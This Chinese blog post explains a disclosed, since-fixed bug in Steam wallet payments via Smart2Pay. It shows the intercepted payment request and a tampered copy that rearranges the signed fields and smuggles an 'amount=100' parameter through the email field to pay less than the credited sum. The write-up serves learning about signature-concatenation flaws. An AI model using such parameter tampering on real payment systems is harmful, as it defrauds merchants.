前几天刷到一个Steam支付漏洞新闻,但描述的细节很粗糙,大概都是这样的:
近日,Hackerone(黑客街:知名全球漏洞众测平台,发现应用程序漏洞提交后可获得赏金)上的一名黑客 drbrix 发现了steam的一个严重漏洞,该漏洞允许用户无限制的免费向steam钱包中添加资金,来看下详细情况
据悉,这个漏洞与荷兰支付平台Smart2Pay有关,这个漏洞允许steam用户免费的添加无限制的资金到steam钱包中,细节操作则是在用户通过特定电子邮件这一付款选项结账时,能拦截交易并将steam钱包中的余额膨胀至无数倍。幸运的是目前除了这位黑客,还没人发现这个漏洞,他自愿也将这个bug提交给了V社,V社看到后立刻修复了这个BUG并奖励了这位黑客7500美元(约合人民币48576元)
描述的很令人好奇,为什么用特定邮箱就能实现绕过校验充值?邮箱跟充值又怎么扯上联系的?但手机上不方便搜索,于是就放着了。
今天又想起这个来,随手搜了一下,搜到了原文 Modify in-flight data to payment provider Smart2Pay
简单的复述一下 drbrix
的报告。
根据报告,漏洞发生在 Steam钱包充值
的流程中,正常进入支付页面,然后支付方式要选择 Smart2Pay
的支付方式,(Smart2Pay
我在国区登录中没看到,搜了下,发现也是一种支付渠道,支持上百种支付方式)。
之后能看到请求信息
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
作者描述,因为签名有校验,所以不能随意的增删修改签名,hash逻辑大概是这样的 hash(MerchantID1102MerchantTransactionID█████Amount2000.....)
。
接下来就是比较骚的思路了,增删和修改数字无法通过校验,但是调整签名的字符顺序后依然能通过校验。像是 Amount=2000
修改为 Amount2=000
。
但单纯这样没用,缺少了 Amount
字段。此时就要想办法构造一个新的 Amount
字段,既不能增加也不能减少,那么只能拿原有的字段值来调整,在用户手上唯一能修改的就是邮箱名称,所以作者在开头说道这个方法不得不修改你的邮箱。作者将邮箱修改为 brixamount100abc@█████
其中带上了关键字 amount100
,
然后拦截并修改构造请求信息,
MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████
这里将原来的 Amount=2000
修改为 Amount2=000
,然后邮箱中的关键字用 &
分隔出来成为新的参数值,CustomerEmail=brix&amount=100&ab=c%40
。
这样只需要支付1美元就完成原来订单中20美元的充值。
最后如新闻所说,V社在评估后把漏洞评定为严重,并且给了挖掘者 7500
美元奖励。
如果没有公布报告,肯定怎么也想不到,这样简单的操作就是绕过支付校验(挖掘者本身需要有功底和经验,但这个漏洞的操作上并不需要太高深的技术,这样也提升了这个漏洞的严重性),而那段发送的数据就是新闻中常常提到的精心构造的数据。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。